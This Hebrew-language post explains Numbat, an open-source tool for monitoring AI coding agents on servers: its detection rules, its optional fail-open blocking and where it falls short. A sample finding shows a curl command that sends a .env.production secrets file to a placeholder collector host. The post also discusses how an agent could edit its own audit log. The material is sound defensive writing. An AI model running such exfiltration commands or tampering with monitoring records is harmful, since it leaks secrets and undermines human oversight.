איך לנטר סוכני AI עם Numbat של Perplexity
סוכני AI מבצעים פעולות בשרת שאינן מתועדות בהיסטוריית ה-shell. הכלי Numbat מאפשר לנטר בזמן אמת קריאת קבצים רגישים ופקודות חשודות שסוכני תכנות מריצים על המכונה שלכם.
מהו Numbat
Numbat מעניק לך נראות לגבי הפעולות שביצע סוכן AI על מכונה שבבעלותך. הכלי קורא את ה-hook callbacks וקובצי ה-session שסוכני תכנות ממילא מייצרים, מנרמל אותם לפורמט אירועים אחיד, ומשווה אותם מול חוקים המופעלים בעת זיהוי התנהגות חשודה, כגון קריאת מפתח SSH פרטי או העברת הורדה ישירות ל-shell. חברת Perplexity שחררה את הכלי כקוד פתוח תחת רישיון Apache 2.0, כאשר ה-release המתויג הראשון פורסם ב-29 ביולי 2026.
כל המידע להלן מבוסס על ה-repository של הפרויקט והתיעוד שלו, כפי שנקראו ב-2 באוגוסט 2026. במקומות שבהם Perplexity מציגה טענה, פוסט זה מציין זאת במפורש. אין זה מדריך התקנה, שכן ה-repository חדש מאוד והפקודות בו צפויות להשתנות.
הבעיה: אף אחד לא מתעד את פעולות הסוכן
סוכן קידוד (coding agent) הפועל ב-VPS מריץ פקודות shell, קורא קבצים, כותב קבצים ופותח חיבורי רשת, וכל זאת תחת המשתמש שהרשאותיו הוענקו לו. היסטוריית ה-shell שלכם לא מתעדת דבר מפעולות אלו, כיוון שהסוכן אינו מקליד בתוך ה-shell שלכם. sshd מתעד את ה-login שלכם בלבד, ולא את הפעולות שהמודל החליט לבצע לאחר מכן. /var/log/auth.log נותר שקט אלא אם כן משהו ניגש ל-sudo. הסוכן מנהל תמלול משלו, אך קובץ זה נמצא בתיקיית הסשן של הסוכן, הפורמט שלו משתנה בין גרסאות, והתהליך של הסוכן עצמו יכול לכתוב אליו.
לכן, כאשר מישהו שואל האם הסוכן קרא את .env.production ביום שלישי האחרון, התשובה הכנה ברוב השרתים היא שאין דרך לדעת. הפער הזה הוא הסיבה לקיומו של פרויקט זה.
מה ש־Perplexity טוענת ש־Numbat עושה
הקובץ README נפתח בתיאור הכלי כ"נראות נקודת קצה (endpoint) לתוך פעילות של סוכני AI, עם זיהוי מקומי, חסימה אופציונלית לפני ביצוע, ושחזור פורנזי". המונח נקודת קצה מתייחס כאן למכונה שבה רץ הסוכן, ולא להתקן רשת המנטר מבחוץ. אלו יכולות נפרדות, והן נושאות משקל שונה.
הזיהוי מתבצע על גבי ההתקן. הכללים כתובים ב־CEL (Common Expression Language) ומוערכים מקומית, עם תמיכה בכללי רצף רב-שלביים ובכללים מותאמים אישית בפורמט YAML. שום מידע אינו חייב לצאת מהמכונה כדי שכלל יופעל.
החסימה היא אופציונלית וממוקדת. היא פועלת רק דרך hooks סינכרוניים שלפני ביצוע, עבור סוכנים שחושפים ממשק כזה, והיא כבויה כברירת מחדל עד להפעלתה.
השחזור מתבצע בדיעבד. numbat scan מנתח ארטיפקטים של סשן שהסוכן כבר כתב לדיסק, כך שניתן לבחון פעילות שהתרחשה עוד לפני התקנת הכלי. הפרויקט מקפיד להגדיר גבולות לטענה זו: "שחזור נתונים במנוחה (at-rest) אינו מהווה רכישת זיכרון או דיסק, ואינו יכול לשחזר פעילות שהסוכן לא שמר באופן קבוע".
הפלט הוא בפורמט NDJSON (JSON מופרד בשורות) עם מספור גרסאות, המכסה אירועים, ממצאים, החלטות אכיפה, אינדיקטורים וסיכומי סריקה, בגרסת סכימה 0.2.0 נכון לגרסה v0.1.2. הרשומות נשלחות ל־stdout או לקובץ מקומי, ובאופן אופציונלי דרך HTTP לאספן (collector) שאתם מריצים. הכלי מופץ כקובץ בינארי סטטי יחיד של Go שנבנה ללא cgo, עבור macOS, Linux ו־Windows בארכיטקטורות amd64 ו־arm64; לכן, בשרת VPS מבוסס Linux, מדובר בקובץ אחד בלבד ללא צורך בהתקנת סביבת ריצה מראש.
אילו סוכנים Numbat מסוגל לראות בפועל?
מטריצת הכיסוי ב-docs/agent-coverage.md היא הרשימה הקובעת, והיא אינה אחידה. הפרויקט מצהיר על כך בגלוי במקום להסתיר זאת. ל-Claude Code, ל-Codex, ל-Gemini CLI, ל-Cursor ול-GitHub Copilot CLI יש גם סריקת ארטיפקטים וגם לכידה חיה עם pre-action hook. ל-OpenClaw יש תוסף מובנה החל מגרסה 2026.7.1 ואילך. רשימה ארוכה של ערכים מסומנת כ-deferred, מה שאומר שקיים נתיב ל-live hook אך מנתח הארטיפקטים אינו קיים; זאת לרוב מכיוון שהסוכן שומר את ההיסטוריה שלו ב-SQLite עם write-ahead log שלא בטוח לקרוא בזמן שהסוכן פעיל. OpenCode ו-Cline היו בקבוצה זו בעת קריאת המטריצה ב-2 באוגוסט 2026.
בדקו את השורה המתאימה לסוכן שלכם לפני שאתם מתכננים פעילות סביב כלי זה, כיוון שהמונח "נתמך" (supported) מקבל משמעות שונה כמעט בכל שורה.
איך נראית התראה
לכללים יש מזהים המציינים את מטרתם. secrets.read_private_key מכסה מפתח SSH, אישורי AWS, קובץ הגדרות של kube או פרטי התחברות ל-registry של חבילות. exec.download_pipe_shell מופעל כאשר הפלט של curl או wget מועבר ב-pipe למפרש פקודות. privilege.elevated_shell מזהה בקשה ל-root shell אינטראקטיבי דרך sudo, doas, su או pkexec. impact.cryptomining_launch מתאים לקבצים בינאריים ושמות של images המוכרים ככורי מטבעות.
כללי רצף (Sequence rules) מחברים אירועים בתוך סשן יחיד. chain.secret_read_then_egress דורש קריאה של קובץ סודי ולאחריה פקודה שמעבירה נתונים החוצה. ה-README מפרסם את הממצא להלן מתוך שידור חוזר מבוקר של שני callbacks מסוג pre-action של Claude Code, ולא מתוך אירוע אבטחה חי. הפלט קוצץ כאן לשדות הרלוונטיים בלבד:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}שימו לב ל-"confidence": "medium" שנמצא בתוך הרשומה, ושימו לב למה שהפרויקט מציין לגבי כל מחלקת הפלט הזו: "ממצאים הם התאמות לכללים, לא הוכחה לפריצה". תסריט פריסה (deploy script) שקורא מפתח ולאחר מכן מעלה תוצר בנייה יפעיל את אותו כלל רצף. ההתאמה נכונה אך ההתראה שגויה, וזהו המצב התקין של כל כלי זיהוי שהפעלתם אי פעם.
חסימה כבויה כברירת מחדל, והיא פועלת במצב fail-open
כל חוק ש־Numbat מפיצה מוגדר לניטור בלבד. הפיכת חוק לחסימה היא פעולה מכוונת: העתיקו את ה־YAML המלא של החוק לספרייה שלכם, שמרו על אותו id, הוסיפו enforce: true, עדכנו את הגרסה, ולאחר מכן בצעו ולידציה והתקינו את המדיניות.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceכעת לחלק הקובע באיזו מידה עליכם לסמוך על המנגנון. ה־deny של Numbat הוא תגובה המוחזרת ל־agent, וה־agent הוא הגורם שמסרב בפועל לקריאת הכלי. מדריך האכיפה מבהיר מה קורה כאשר ל־Numbat עצמה יש בעיה: "מטענים (payloads) פגומים, שגיאות הערכה רלוונטיות, קריסות (panics) וכשלים בפלט מדכאים את ה־deny של Numbat". הקלט ל־hook מוגבל ל־4 MiB, וקלט חורג עובר באותו מסלול.
המדריך מבהיר באותה מידה מהי המגבלה של חסימה שכן מתבצעת: "Fail-open משמעו ש־Numbat נמנעת מלהחזיר תגובת deny. אין בכך ערובה שהכלי יבוצע: המארח עדיין עשוי להציג הנחיה, לחסום, להגיע ל־timeout, או להחיל hook או מדיניות אחרת".
לפיכך, האכיפה כאן היא מעקה בטיחות, לא גבול מוחלט. אם התהליך קורס, הפעולה לא נחסמת על ידי Numbat, שכן כלי ניטור שמשתק את ה־agent שלכם בכל פעם שיש לו תקלה יוסר מהמערכת תוך שבוע. הפשרה סבירה. פשוט אל תבנו מודל אבטחה שמניח שה־deny תמיד יגיע.
המיקום של Numbat לצד הפעילות הקיימת שלך
Numbat רץ על ה-endpoint, בתוך עץ התהליכים של ה-agent עצמו, וכותב כברירת מחדל ל-~/.numbat/records.ndjson. agent שרץ תחת המשתמש שלך יכול לקרוא את הקובץ הזה. הוא יכול גם לערוך אותו. הערך של נתיב הביקורת (audit trail) שווה בדיוק לרמת הבידוד סביבו, מה שמציב את כל אמצעי הבקרה שכבר יש לך לפניו ולא מאחוריו.
מתן מכונה וירטואלית זמנית ל-coding agent מגביל את טווח ההגעה של הרצה שגויה. משתמש בעל הרשאות מינימליות על ה-VPS מונע מה-agent גישה לקבצים שאין לו עניין לפתוח. הרחקת אישורי גישה מהקשר הפעולה של ה-agent היא מה שהופך התאמה של secrets.read_private_key לנדירה מספיק כדי שיהיה כדאי לקרוא אותה כשהיא מופעלת. וה-sandbox שהגדרת עבור Claude Code על גבי VPS הוא עדיין הגורם שמבצע את ההכלה. הכלה מגבילה את מה שהרצה שגויה יכולה לגעת בו, בעוד שתיעוד הסיבות למבנה הקוד מפחית את התדירות שבה ה-agent מבצע פעולה מפתיעה מספיק כדי לשלוח אותך ללוגים.
מה ש-Numbat מוסיף הוא התיעוד, לכן שלח את התיעוד למקום שה-agent אינו יכול להגיע אליו. numbat ship וה-HTTP sink קיימים בדיוק עבור זה. עותק של הזרם (stream) במכונה שנייה הוא ההבדל בין קובץ לוג לבין ראיה. מודל האירועים נושא גם שדות MCP (model context protocol), כך שקריאות לכלים שיוצאות דרך שרת MCP שאתה מארח על VPS נוחתות באותו זרם כמו פקודות shell מקומיות. זה חשוב, כיוון שהנתיב הזה אינו גלוי לכל מי שמנטר רק את bash. אותו "שטח מת" מכסה גם מופע של SearXNG שמחובר כ-search backend של ה-agent, שם הסיכון מגיע כטקסט דף לא מהימן שנכנס להקשר של המודל, ולא כפקודה שכלל כלשהו יכול לזהות.
נסה תחילה במצב קריאה בלבד
התקן גרסה נעולה. נדרשת גרסה Go 1.26.5 או חדשה יותר עבור go install, ודף ה-releases מכיל קבצים בינאריים מוכנים עם בדיקות SHA-256 אם אינך מעוניין לבצע הידור ממקור.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents מזהה סוכנים המותקנים על השרת. numbat scan מנתח את תוצרי הסשן שכבר נמצאים על הדיסק ומדפיס רשומות. ה-README מציין כי פקודות אלו "אינן מתקינות hooks ואינן משנות את תצורת הסוכן", וכי numbat "לעולם אינו מריץ סוכנים או פקודות שנמצאו בתוך תוצרים, והוא מבצע בקשות יוצאות רק אל יעדי HTTP מוגדרים". הסריקה מתבצעת במצב קריאה בלבד עם הסתרת סודות, ופלט רשומות רגיל לעולם אינו כולל תמלול גולמי מלא.
לכידה חיה היא השלב הבא, והיא אכן משנה את תצורת הסוכן:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all כותב אירועים, ממצאים, אינדיקטורים והחלטות אכיפה רלוונטיות אל ~/.numbat/records.ndjson. שתי אזהרות מגיעות ישירות מהפרויקט. ייתכן שיהיה צורך לתת אמון ב-hooks בתוך הסוכן לפני שהם ירוצו כלל, ויש לבחון אמון זה מחדש לאחר שינוי דגלים כגון --enforce. בנוסף, hook status "מאמת תצורה, לא הרצה או מסירה", לכן שורת סטטוס תקינה אינה הוכחה לכך שהרשומות מגיעות ליעדן.
מדוע מאגר חדש כל כך אינו מהווה תלות
הגרסאות הציבוריות הן v0.1.1 מה-29 ביולי 2026 ו-v0.1.2 מה-1 באוגוסט 2026. למאגר היו 597 כוכבים בעת כתיבת פוסט זה ב-2 באוגוסט 2026. מספרים שגדלים במהירות כזו משקפים את הקהל של Perplexity, ולא את מידת היציבות של הקוד. כוכב משמעו שמישהו שמר את הדף כדי לעיין בו מאוחר יותר.
מספר הגרסה משקף נאמנה את מצב הפרויקט. הערות הגרסה v0.1.2 עוסקות בעיקר בתיקוני הסתרת פרטי הזדהות (credential redaction), לצד עבודה על חבילות מקרי קצה (case bundle) ונירמול טלמטריה. באגים בהסתרת נתונים הם צורת הכשל הצפויה בשלבים מוקדמים של כלי שתפקידו לקרוא תמלילים של תוכנות אחרות בצורה בטוחה, ויהיו עוד כאלה, כיוון שהקלט מגיע מתריסר סוכנים שכל אחד מהם משנה את הפורמט שלו לפי לוח זמנים עצמאי.
מכאן נובעים שני כללים מעשיים. קבעו (pin) את ה-tag, לעולם לא את ה-@latest, בכל פרויקט שאתם מתחזקים. והתייחסו לכלי כאל מכשיר שאתם מעריכים, ולא כאל רכיב בקרה שאתם תלויים בו, לפחות עד שסכימת הנתונים תפסיק להשתנות.
FAQ
האם Numbat חוסם פקודות מסוכנות של סוכני AI?
רק אם תבחר בכך, ועל בסיס "מאמץ מיטבי" בלבד. כל חוק ש־Numbat מפיץ מוגדר למצב ניטור בלבד. כדי לחסום, עליך להעתיק את ה-YAML של החוק לספרייה משלך, לשמור על ה-id שלו, להוסיף enforce: true, לעדכן את הגרסה ולהתקין את ה-hook באמצעות --enforce. גם אז, החסימה היא תגובה שמוחזרת לסוכן, והסוכן הוא זה שמסרב לבצע את הקריאה. הפרויקט מתעד התנהגות של fail-open: מטענים (payloads) פגומים, שגיאות הערכה, קריסות (panics) וכשלים בפלט – כולם מדכאים את החסימה. השתמש בכלי כמעקה בטיחות, לא כגבול ההגנה היחיד שלך.
באילו סוכני AI תומך Numbat?
הכיסוי משתנה בין סוכן לסוכן ומפורט ב-docs/agent-coverage.md במאגר. נכון למועד קריאת הדף ב-2 באוגוסט 2026, ל-Claude Code, Codex, Gemini CLI, Cursor ו-GitHub Copilot CLI היו גם סריקת ארטיפקטים וגם לכידה בזמן אמת, ול-OpenClaw יש תוסף מובנה החל מגרסה 2026.7.1. סוכנים רבים אחרים מופיעים עם נתיב hook פעיל אך ללא מנתח ארטיפקטים עדיין, בדרך כלל משום שהיסטוריית הסשן שלהם יושבת בבסיס נתונים SQLite שלא בטוח לקרוא בזמן שהסוכן רץ. קרא את השורה עבור הסוכן שלך, כיוון שהמילה "נתמך" מכסה שם כמה רמות שונות.
האם הסוכן יכול לשבש את הרישומים של Numbat?
כן, אם הוא רץ תחת אותו משתמש. ברירת המחדל של הרישומים היא ~/.numbat/records.ndjson על אותו מחשב שבו רץ הסוכן, לכן כל דבר עם הרשאות כתיבה לנתיב זה יכול לשנות או למחוק אותם. שלח את הזרם (stream) לאוסף (collector) שהסוכן אינו יכול להגיע אליו, באמצעות numbat ship או ה-HTTP sink, ושמור את הקובץ המקומי כעותק נוחות בלבד. זו גם הסיבה שהכלי משלים בידוד (isolation) במקום להחליף אותו. לסוכן שכלוא בתוך VM זמני תחת משתמש בעל הרשאות מינימליות יש טווח הגעה מצומצם בהרבה לנתיב הביקורת (audit trail) של עצמו.
האם Numbat מוכן לשרת ייצור (production)?
לא כבקרת אבטחה שאתה מסתמך עליה. הגרסה הציבורית הראשונה הייתה v0.1.1 ב-29 ביולי 2026, ו-v0.1.2 הגיעה אחריה ב-1 באוגוסט 2026, כך שהדגלים (flags) וסכימת הרישומים עדיין משתנים. הרצת numbat agents ו-numbat scan על שרת היא פעולה לקריאה בלבד בעלת סיכון נמוך, והיא תציג לך מה הסוכנים שלך השאירו על הדיסק. התקנת hooks לאכיפה על שרת קריטי היא החלטה שונה, והיא דורשת הצמדת גרסה (pinned tag) ותוכנית פעולה למקרה שה-hook יתנהג בצורה לא צפויה.